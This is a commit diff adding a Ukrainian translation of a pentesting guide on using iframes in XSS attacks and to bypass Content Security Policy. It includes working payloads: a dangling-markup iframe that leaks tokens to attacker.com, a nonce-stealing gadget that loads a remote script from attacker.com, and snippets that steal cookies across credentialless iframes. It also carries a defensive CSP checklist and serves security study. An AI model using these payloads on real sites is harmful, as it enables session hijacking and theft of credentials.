Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:32:07 +00:00
parent bb1c93785b
commit 05b47bd16a

View File

@ -61,7 +61,7 @@ alert(parent.secret)
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -83,7 +83,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
Отже, можливо **обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
Ви можете протестувати це з наступним сценарієм, де куки викрадаються навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
Ви можете протестувати це з наступним сценарієм, де кукі вкрадено, навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
```python
import flask
from flask import Flask
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Інші Payloads, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### Нові (2023-2025) техніки обходу CSP з використанням iframe
Дослідницька спільнота продовжує знаходити креативні способи зловживання iframe для подолання обмежувальних політик. Нижче ви можете знайти найбільш помітні техніки, опубліковані за останні кілька років:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** Коли додаток відображає HTML, але сильний CSP блокує виконання скриптів, ви все ще можете витікати чутливі токени, інжектуючи *dangling* `<iframe name>` атрибут. Як тільки частковий розмітка буде проаналізована, скрипт зловмисника, що працює в іншому походженні, перенаправляє фрейм на `about:blank` і читає `window.name`, який тепер містить все до наступного символу лапок (наприклад, CSRF токен). Оскільки жоден JavaScript не виконується в контексті жертви, атака зазвичай обходить `script-src 'none'`. Мінімальний PoC:
```html
<!-- Точка інжекції безпосередньо перед чутливим <script> -->
<iframe name="//attacker.com/?"> <!-- атрибут навмисно залишено відкритим -->
````
```javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → витік значення
```
* **Крадіжка nonce через iframe з однаковим походженням (2024)** CSP nonce не видаляються з DOM; вони лише приховані в DevTools. Якщо зловмисник може інжектувати *iframe з однаковим походженням* (наприклад, завантажуючи HTML на сайт), дочірній фрейм може просто запитати `document.querySelector('[nonce]').nonce` і створити нові `<script nonce>` вузли, які задовольняють політику, забезпечуючи повне виконання JavaScript, незважаючи на `strict-dynamic`. Наступний гаджет ескалює інжекцію розмітки в XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Перехоплення form-action (PortSwigger 2024)** Сторінка, яка пропускає директиву `form-action`, може мати свою форму входу *перенаправлену* з інжектованого iframe або вбудованого HTML, так що менеджери паролів автоматично заповнюють і надсилають облікові дані на зовнішній домен, навіть коли присутній `script-src 'none'`. Завжди доповнюйте `default-src` директивою `form-action`!
**Оборонні нотатки (швидкий контрольний список)**
1. Завжди надсилайте *всі* директиви CSP, які контролюють вторинні контексти (`form-action`, `frame-src`, `child-src`, `object-src` тощо).
2. Не покладайтеся на те, що nonce є секретними — використовуйте `strict-dynamic` **і** усувайте точки інжекції.
3. Коли ви повинні вбудовувати ненадійні документи, використовуйте `sandbox="allow-scripts allow-same-origin"` **дуже обережно** (або без `allow-same-origin`, якщо вам потрібна лише ізоляція виконання скриптів).
4. Розгляньте впровадження COOP+COEP в глибину; новий атрибут `<iframe credentialless>` (§ нижче) дозволяє вам це зробити без порушення вбудовувань третіх сторін.
### Інші Payloads, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
@ -119,29 +155,37 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута `sandbox`. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.
Коли використовується, атрибут `sandbox` накладає кілька обмежень:
При використанні атрибут `sandbox` накладає кілька обмежень:
- Вміст розглядається так, ніби він походить з унікального джерела.
- Будь-яка спроба надсилання форм блокується.
- Виконання скриптів заборонено.
- Доступ до певних API вимкнено.
- Запобігає взаємодії посилань з іншими контекстами перегляду.
- Доступ до певних API відключено.
- Він запобігає взаємодії посилань з іншими контекстами перегляду.
- Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги заборонено.
- Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
- Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
- Автоматично активовані функції, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
Значення атрибута можна залишити порожнім (`sandbox=""`), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.
Tip: Сучасні браузери підтримують детальні прапорці, такі як `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` тощо. Поєднуйте їх, щоб надати лише мінімальні можливості, необхідні вбудованому додатку.
Значення атрибута можна залишити порожнім (`sandbox=""`), щоб застосувати всі вищезгадані обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
Як пояснено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), прапорець `credentialless` в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.
Це дозволяє iframe отримувати чутливу інформацію з іншого iframe в тому ж SOP, завантаженому на батьківській сторінці:
Оскільки **Chrome 110 (лютий 2023) ця функція увімкнена за замовчуванням** і специфікація стандартизована в різних браузерах під назвою *anonymous iframe*. MDN описує це як: “механізм для завантаження iframe третьої сторони в абсолютно нову, епhemeral storage partition, щоб жодні куки, localStorage або IndexedDB не ділилися з реальним походженням”. Наслідки для атакуючих і захисників:
* Скрипти в різних credentialless iframes **все ще ділять одне й те саме верхнє походження** і можуть вільно взаємодіяти через DOM, що робить атаки multi-iframe self-XSS можливими (див. PoC нижче).
* Оскільки мережа **позбавлена облікових даних**, будь-який запит всередині iframe фактично поводиться як неавтентифікована сесія захищені CSRF кінцеві точки зазвичай не проходять, але публічні сторінки, які можна витікати через DOM, все ще в межах досяжності.
* Вікна, що з'являються з credentialless iframe, отримують неявний `rel="noopener"`, що порушує деякі потоки OAuth.
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- Приклад експлуатації: Self-XSS + CSRF
@ -165,7 +209,7 @@ document.forms[0].submit();
- Інший iframe, в якому насправді користувач увійшов в систему (без прапора `credentialless`).
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну і ту ж SOP, і вкрасти кукі, наприклад, виконавши:
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну SOP, і вкрасти кукі, наприклад, виконавши:
```javascript
alert(window.top[1].document.cookie);
```
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## Посилання
* [PortSwigger Research Використання захоплення форм для обходу CSP (березень 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe без облікових даних: Легко вбудовувати iframes в середовища COEP (лютий 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}